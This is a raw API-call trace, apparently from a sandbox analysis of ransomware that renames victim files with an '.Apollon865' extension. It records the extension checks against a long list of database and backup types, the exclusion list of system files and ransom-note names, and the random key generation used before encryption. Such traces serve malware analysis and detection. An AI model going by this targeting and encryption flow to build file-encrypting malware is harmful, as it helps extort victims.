	[0087.504] lstrlenW (lpString="cdb") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="cdb") returned -1
	[0087.504] lstrlenW (lpString="ckp") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="ckp") returned -1
	[0087.504] lstrlenW (lpString="cma") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="cma") returned -1
	[0087.504] lstrlenW (lpString="cpd") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="cpd") returned -1
	[0087.504] lstrlenW (lpString="dacpac") returned 6
	[0087.504] lstrcmpiW (lpString1="6T.bmp", lpString2="dacpac") returned -1
	[0087.504] lstrlenW (lpString="dad") returned 3
	[0087.504] lstrcmpiW (lpString1="bmp", lpString2="dad") returned -1
	[0087.504] lstrlenW (lpString="dadiagrams") returned 10
	[0087.504] lstrcmpiW (lpString1="Bl0o6T.bmp", lpString2="dadiagrams") returned -1
	[0087.504] lstrlenW (lpString="daschema") returned 8
	[0087.504] lstrcmpiW (lpString1="0o6T.bmp", lpString2="daschema") returned -1
	[0087.504] lstrlenW (lpString="db-journal") returned 10
	[0087.504] lstrcmpiW (lpString1="Bl0o6T.bmp", lpString2="db-journal") returned -1
	[0087.504] lstrlenW (lpString="db-shm") returned 6
	[0087.504] lstrcmpiW (lpString1="6T.bmp", lpString2="db-shm") returned -1
	[0087.505] lstrlenW (lpString="db-wal") returned 6
	[0087.505] lstrcmpiW (lpString1="6T.bmp", lpString2="db-wal") returned -1
	[0087.505] lstrlenW (lpString="dbc") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dbc") returned -1
	[0087.505] lstrlenW (lpString="dbs") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dbs") returned -1
	[0087.505] lstrlenW (lpString="dbt") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dbt") returned -1
	[0087.505] lstrlenW (lpString="dbv") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dbv") returned -1
	[0087.505] lstrlenW (lpString="dbx") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dbx") returned -1
	[0087.505] lstrlenW (lpString="dcb") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dcb") returned -1
	[0087.505] lstrlenW (lpString="dct") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dct") returned -1
	[0087.505] lstrlenW (lpString="dcx") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dcx") returned -1
	[0087.505] lstrlenW (lpString="ddl") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="ddl") returned -1
	[0087.505] lstrlenW (lpString="dlis") returned 4
	[0087.505] lstrcmpiW (lpString1=".bmp", lpString2="dlis") returned -1
	[0087.505] lstrlenW (lpString="dp1") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dp1") returned -1
	[0087.505] lstrlenW (lpString="dqy") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dqy") returned -1
	[0087.505] lstrlenW (lpString="dsk") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dsk") returned -1
	[0087.505] lstrlenW (lpString="dsn") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dsn") returned -1
	[0087.505] lstrlenW (lpString="dtsx") returned 4
	[0087.505] lstrcmpiW (lpString1=".bmp", lpString2="dtsx") returned -1
	[0087.505] lstrlenW (lpString="dxl") returned 3
	[0087.505] lstrcmpiW (lpString1="bmp", lpString2="dxl") returned -1
	[0087.505] lstrlenW (lpString="eco") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="eco") returned -1
	[0087.506] lstrlenW (lpString="ecx") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="ecx") returned -1
	[0087.506] lstrlenW (lpString="edb") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="edb") returned -1
	[0087.506] lstrlenW (lpString="epim") returned 4
	[0087.506] lstrcmpiW (lpString1=".bmp", lpString2="epim") returned -1
	[0087.506] lstrlenW (lpString="fcd") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fcd") returned -1
	[0087.506] lstrlenW (lpString="fdb") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fdb") returned -1
	[0087.506] lstrlenW (lpString="fic") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fic") returned -1
	[0087.506] lstrlenW (lpString="flexolibrary") returned 12
	[0087.506] lstrcmpiW (lpString1="glBl0o6T.bmp", lpString2="flexolibrary") returned 1
	[0087.506] lstrlenW (lpString="fm5") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fm5") returned -1
	[0087.506] lstrlenW (lpString="fmp") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fmp") returned -1
	[0087.506] lstrlenW (lpString="fmp12") returned 5
	[0087.506] lstrcmpiW (lpString1="T.bmp", lpString2="fmp12") returned 1
	[0087.506] lstrlenW (lpString="fmpsl") returned 5
	[0087.506] lstrcmpiW (lpString1="T.bmp", lpString2="fmpsl") returned 1
	[0087.506] lstrlenW (lpString="fol") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fol") returned -1
	[0087.506] lstrlenW (lpString="fp3") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fp3") returned -1
	[0087.506] lstrlenW (lpString="fp4") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fp4") returned -1
	[0087.506] lstrlenW (lpString="fp5") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fp5") returned -1
	[0087.506] lstrlenW (lpString="fp7") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fp7") returned -1
	[0087.506] lstrlenW (lpString="fpt") returned 3
	[0087.506] lstrcmpiW (lpString1="bmp", lpString2="fpt") returned -1
	[0087.507] lstrlenW (lpString="frm") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="frm") returned -1
	[0087.507] lstrlenW (lpString="gdb") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.507] lstrlenW (lpString="gdb") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="gdb") returned -1
	[0087.507] lstrlenW (lpString="grdb") returned 4
	[0087.507] lstrcmpiW (lpString1=".bmp", lpString2="grdb") returned -1
	[0087.507] lstrlenW (lpString="gwi") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="gwi") returned -1
	[0087.507] lstrlenW (lpString="hdb") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="hdb") returned -1
	[0087.507] lstrlenW (lpString="his") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="his") returned -1
	[0087.507] lstrlenW (lpString="ib") returned 2
	[0087.507] lstrcmpiW (lpString1="mp", lpString2="ib") returned 1
	[0087.507] lstrlenW (lpString="idb") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="idb") returned -1
	[0087.507] lstrlenW (lpString="ihx") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="ihx") returned -1
	[0087.507] lstrlenW (lpString="itdb") returned 4
	[0087.507] lstrcmpiW (lpString1=".bmp", lpString2="itdb") returned -1
	[0087.507] lstrlenW (lpString="itw") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="itw") returned -1
	[0087.507] lstrlenW (lpString="jet") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="jet") returned -1
	[0087.507] lstrlenW (lpString="jtx") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="jtx") returned -1
	[0087.507] lstrlenW (lpString="kdb") returned 3
	[0087.507] lstrcmpiW (lpString1="bmp", lpString2="kdb") returned -1
	[0087.507] lstrlenW (lpString="kexi") returned 4
	[0087.507] lstrcmpiW (lpString1=".bmp", lpString2="kexi") returned -1
	[0087.507] lstrlenW (lpString="kexic") returned 5
	[0087.507] lstrcmpiW (lpString1="T.bmp", lpString2="kexic") returned 1
	[0087.507] lstrlenW (lpString="kexis") returned 5
	[0087.507] lstrcmpiW (lpString1="T.bmp", lpString2="kexis") returned 1
	[0087.508] lstrlenW (lpString="lgc") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="lgc") returned -1
	[0087.508] lstrlenW (lpString="lwx") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="lwx") returned -1
	[0087.508] lstrlenW (lpString="maf") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="maf") returned -1
	[0087.508] lstrlenW (lpString="maq") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="maq") returned -1
	[0087.508] lstrlenW (lpString="mar") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mar") returned -1
	[0087.508] lstrlenW (lpString="marshal") returned 7
	[0087.508] lstrcmpiW (lpString1="o6T.bmp", lpString2="marshal") returned 1
	[0087.508] lstrlenW (lpString="mas") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mas") returned -1
	[0087.508] lstrlenW (lpString="mav") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mav") returned -1
	[0087.508] lstrlenW (lpString="maw") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="maw") returned -1
	[0087.508] lstrlenW (lpString="mdbhtml") returned 7
	[0087.508] lstrcmpiW (lpString1="o6T.bmp", lpString2="mdbhtml") returned 1
	[0087.508] lstrlenW (lpString="mdn") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mdn") returned -1
	[0087.508] lstrlenW (lpString="mdt") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mdt") returned -1
	[0087.508] lstrlenW (lpString="mfd") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mfd") returned -1
	[0087.508] lstrlenW (lpString="mpd") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mpd") returned -1
	[0087.508] lstrlenW (lpString="mrg") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mrg") returned -1
	[0087.508] lstrlenW (lpString="mud") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mud") returned -1
	[0087.508] lstrlenW (lpString="mwb") returned 3
	[0087.508] lstrcmpiW (lpString1="bmp", lpString2="mwb") returned -1
	[0087.508] lstrlenW (lpString="myd") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="myd") returned -1
	[0087.509] lstrlenW (lpString="ndf") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="ndf") returned -1
	[0087.509] lstrlenW (lpString="nnt") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="nnt") returned -1
	[0087.509] lstrlenW (lpString="nrmlib") returned 6
	[0087.509] lstrcmpiW (lpString1="6T.bmp", lpString2="nrmlib") returned -1
	[0087.509] lstrlenW (lpString="ns2") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="ns2") returned -1
	[0087.509] lstrlenW (lpString="ns3") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="ns3") returned -1
	[0087.509] lstrlenW (lpString="ns4") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="ns4") returned -1
	[0087.509] lstrlenW (lpString="nsf") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="nsf") returned -1
	[0087.509] lstrlenW (lpString="nv") returned 2
	[0087.509] lstrcmpiW (lpString1="mp", lpString2="nv") returned -1
	[0087.509] lstrlenW (lpString="nv2") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="nv2") returned -1
	[0087.509] lstrlenW (lpString="nwdb") returned 4
	[0087.509] lstrcmpiW (lpString1=".bmp", lpString2="nwdb") returned -1
	[0087.509] lstrlenW (lpString="nyf") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="nyf") returned -1
	[0087.509] lstrlenW (lpString="odb") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.509] lstrlenW (lpString="odb") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="odb") returned -1
	[0087.509] lstrlenW (lpString="oqy") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="oqy") returned -1
	[0087.509] lstrlenW (lpString="ora") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="ora") returned -1
	[0087.509] lstrlenW (lpString="orx") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="orx") returned -1
	[0087.509] lstrlenW (lpString="owc") returned 3
	[0087.509] lstrcmpiW (lpString1="bmp", lpString2="owc") returned -1
	[0087.510] lstrlenW (lpString="p96") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="p96") returned -1
	[0087.510] lstrlenW (lpString="p97") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="p97") returned -1
	[0087.510] lstrlenW (lpString="pan") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="pan") returned -1
	[0087.510] lstrlenW (lpString="pdb") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="pdb") returned -1
	[0087.510] lstrlenW (lpString="pdm") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="pdm") returned -1
	[0087.510] lstrlenW (lpString="pnz") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="pnz") returned -1
	[0087.510] lstrlenW (lpString="qry") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="qry") returned -1
	[0087.510] lstrlenW (lpString="qvd") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="qvd") returned -1
	[0087.510] lstrlenW (lpString="rbf") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="rbf") returned -1
	[0087.510] lstrlenW (lpString="rctd") returned 4
	[0087.510] lstrcmpiW (lpString1=".bmp", lpString2="rctd") returned -1
	[0087.510] lstrlenW (lpString="rod") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="rod") returned -1
	[0087.510] lstrlenW (lpString="rodx") returned 4
	[0087.510] lstrcmpiW (lpString1=".bmp", lpString2="rodx") returned -1
	[0087.510] lstrlenW (lpString="rpd") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="rpd") returned -1
	[0087.510] lstrlenW (lpString="rsd") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="rsd") returned -1
	[0087.510] lstrlenW (lpString="sas7bdat") returned 8
	[0087.510] lstrcmpiW (lpString1="0o6T.bmp", lpString2="sas7bdat") returned -1
	[0087.510] lstrlenW (lpString="sbf") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="sbf") returned -1
	[0087.510] lstrlenW (lpString="scx") returned 3
	[0087.510] lstrcmpiW (lpString1="bmp", lpString2="scx") returned -1
	[0087.510] lstrlenW (lpString="sdb") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="sdb") returned -1
	[0087.511] lstrlenW (lpString="sdc") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="sdc") returned -1
	[0087.511] lstrlenW (lpString="sdf") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="sdf") returned -1
	[0087.511] lstrlenW (lpString="sis") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="sis") returned -1
	[0087.511] lstrlenW (lpString="spq") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="spq") returned -1
	[0087.511] lstrlenW (lpString="te") returned 2
	[0087.511] lstrcmpiW (lpString1="mp", lpString2="te") returned -1
	[0087.511] lstrlenW (lpString="teacher") returned 7
	[0087.511] lstrcmpiW (lpString1="o6T.bmp", lpString2="teacher") returned -1
	[0087.511] lstrlenW (lpString="tmd") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="tmd") returned -1
	[0087.511] lstrlenW (lpString="tps") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="tps") returned -1
	[0087.511] lstrlenW (lpString="trc") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.511] lstrlenW (lpString="trc") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="trc") returned -1
	[0087.511] lstrlenW (lpString="trm") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="trm") returned -1
	[0087.511] lstrlenW (lpString="udb") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="udb") returned -1
	[0087.511] lstrlenW (lpString="udl") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="udl") returned -1
	[0087.511] lstrlenW (lpString="usr") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="usr") returned -1
	[0087.511] lstrlenW (lpString="v12") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="v12") returned -1
	[0087.511] lstrlenW (lpString="vis") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="vis") returned -1
	[0087.511] lstrlenW (lpString="vpd") returned 3
	[0087.511] lstrcmpiW (lpString1="bmp", lpString2="vpd") returned -1
	[0087.511] lstrlenW (lpString="vvv") returned 3
	[0087.512] lstrcmpiW (lpString1="bmp", lpString2="vvv") returned -1
	[0087.512] lstrlenW (lpString="wdb") returned 3
	[0087.512] lstrcmpiW (lpString1="bmp", lpString2="wdb") returned -1
	[0087.512] lstrlenW (lpString="wmdb") returned 4
	[0087.512] lstrcmpiW (lpString1=".bmp", lpString2="wmdb") returned -1
	[0087.512] lstrlenW (lpString="wrk") returned 3
	[0087.512] lstrcmpiW (lpString1="bmp", lpString2="wrk") returned -1
	[0087.512] lstrlenW (lpString="xdb") returned 3
	[0087.512] lstrcmpiW (lpString1="bmp", lpString2="xdb") returned -1
	[0087.512] lstrlenW (lpString="xld") returned 3
	[0087.512] lstrcmpiW (lpString1="bmp", lpString2="xld") returned -1
	[0087.512] lstrlenW (lpString="xmlff") returned 5
	[0087.512] lstrcmpiW (lpString1="T.bmp", lpString2="xmlff") returned -1
	[0087.512] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\otdU2cOqhwT4glBl0o6T.bmp.Apollon865") returned 84
	[0087.512] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\otdU2cOqhwT4glBl0o6T.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\otdu2coqhwt4glbl0o6t.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\otdU2cOqhwT4glBl0o6T.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\otdu2coqhwt4glbl0o6t.bmp.apollon865"), dwFlags=0x1) returned 1
	[0087.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\otdU2cOqhwT4glBl0o6T.bmp.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fjqeyltrv\\otdu2coqhwt4glbl0o6t.bmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0087.513] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=20098) returned 1
	[0087.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0087.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0087.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0087.514] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0087.515] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0087.515] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.515] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5190, lpName=0x0) returned 0x15c
	[0087.515] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5190) returned 0x100000
	[0087.516] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0087.518] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0087.518] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0087.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0087.518] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0087.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0087.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0087.518] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="Apollon865.txt.exe") returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2=".") returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="..") returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="windows") returned -1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="bootmgr") returned 1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="temp") returned -1
	[0087.521] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="pagefile.sys") returned 1
	[0087.522] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="boot") returned 1
	[0087.522] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="ids.txt") returned 1
	[0087.522] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="ntuser.dat") returned 1
	[0087.522] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="perflogs") returned 1
	[0087.522] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2="MSBuild") returned 1
	[0087.522] lstrlenW (lpString="q1ktnr O.gif") returned 12
	[0087.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fJQeYltRV\\otdU2cOqhwT4glBl0o6T.bmp") returned 73
	[0087.522] lstrcpyW (in: lpString1=0x119e66a, lpString2="q1ktnr O.gif" | out: lpString1="q1ktnr O.gif") returned="q1ktnr O.gif"
	[0087.522] lstrlenW (lpString="q1ktnr O.gif") returned 12
	[0087.523] lstrlenW (lpString="Apollon865") returned 10
	[0087.523] lstrcmpiW (lpString1="ktnr O.gif", lpString2="Apollon865") returned 1
	[0087.523] lstrlenW (lpString=".dll") returned 4
	[0087.523] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2=".dll") returned 1
	[0087.523] lstrlenW (lpString=".lnk") returned 4
	[0087.523] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2=".lnk") returned 1
	[0087.523] lstrlenW (lpString=".ini") returned 4
	[0087.523] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2=".ini") returned 1
	[0087.523] lstrlenW (lpString=".sys") returned 4
	[0087.523] lstrcmpiW (lpString1="q1ktnr O.gif", lpString2=".sys") returned 1
	[0087.523] lstrlenW (lpString="q1ktnr O.gif") returned 12
	[0087.523] lstrlenW (lpString="bak") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1
	[0087.523] lstrlenW (lpString="ba_") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1
	[0087.523] lstrlenW (lpString="dbb") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1
	[0087.523] lstrlenW (lpString="vmdk") returned 4
	[0087.523] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1
	[0087.523] lstrlenW (lpString="rar") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1
	[0087.523] lstrlenW (lpString="zip") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1
	[0087.523] lstrlenW (lpString="tgz") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1
	[0087.523] lstrlenW (lpString="vbox") returned 4
	[0087.523] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1
	[0087.523] lstrlenW (lpString="vdi") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1
	[0087.523] lstrlenW (lpString="vhd") returned 3
	[0087.523] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1
	[0087.523] lstrlenW (lpString="vhdx") returned 4
	[0087.523] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1
	[0087.523] lstrlenW (lpString="avhd") returned 4
	[0087.523] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1
	[0087.523] lstrlenW (lpString="db") returned 2
	[0087.524] lstrcmpiW (lpString1="if", lpString2="db") returned 1
	[0087.524] lstrlenW (lpString="db2") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1
	[0087.524] lstrlenW (lpString="db3") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1
	[0087.524] lstrlenW (lpString="dbf") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1
	[0087.524] lstrlenW (lpString="mdf") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1
	[0087.524] lstrlenW (lpString="mdb") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1
	[0087.524] lstrlenW (lpString="sql") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1
	[0087.524] lstrlenW (lpString="sqlite") returned 6
	[0087.524] lstrcmpiW (lpString1=" O.gif", lpString2="sqlite") returned -1
	[0087.524] lstrlenW (lpString="sqlite3") returned 7
	[0087.524] lstrcmpiW (lpString1="r O.gif", lpString2="sqlite3") returned -1
	[0087.524] lstrlenW (lpString="sqlitedb") returned 8
	[0087.524] lstrcmpiW (lpString1="nr O.gif", lpString2="sqlitedb") returned -1
	[0087.524] lstrlenW (lpString="xml") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1
	[0087.524] lstrlenW (lpString="$er") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1
	[0087.524] lstrlenW (lpString="4dd") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1
	[0087.524] lstrlenW (lpString="4dl") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1
	[0087.524] lstrlenW (lpString="^^^") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1
	[0087.524] lstrlenW (lpString="abs") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1
	[0087.524] lstrlenW (lpString="abx") returned 3
	[0087.524] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1
	[0087.524] lstrlenW (lpString="accdb") returned 5
	[0087.524] lstrcmpiW (lpString1="O.gif", lpString2="accdb") returned 1
	[0087.524] lstrlenW (lpString="accdc") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accdc") returned 1
	[0087.525] lstrlenW (lpString="accde") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accde") returned 1
	[0087.525] lstrlenW (lpString="accdr") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accdr") returned 1
	[0087.525] lstrlenW (lpString="accdt") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accdt") returned 1
	[0087.525] lstrlenW (lpString="accdw") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accdw") returned 1
	[0087.525] lstrlenW (lpString="accft") returned 5
	[0087.525] lstrcmpiW (lpString1="O.gif", lpString2="accft") returned 1
	[0087.525] lstrlenW (lpString="adb") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.525] lstrlenW (lpString="adb") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1
	[0087.525] lstrlenW (lpString="ade") returned 3
	[0087.525] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1
	[0087.525] lstrlenW (lpString="adf") returned 3
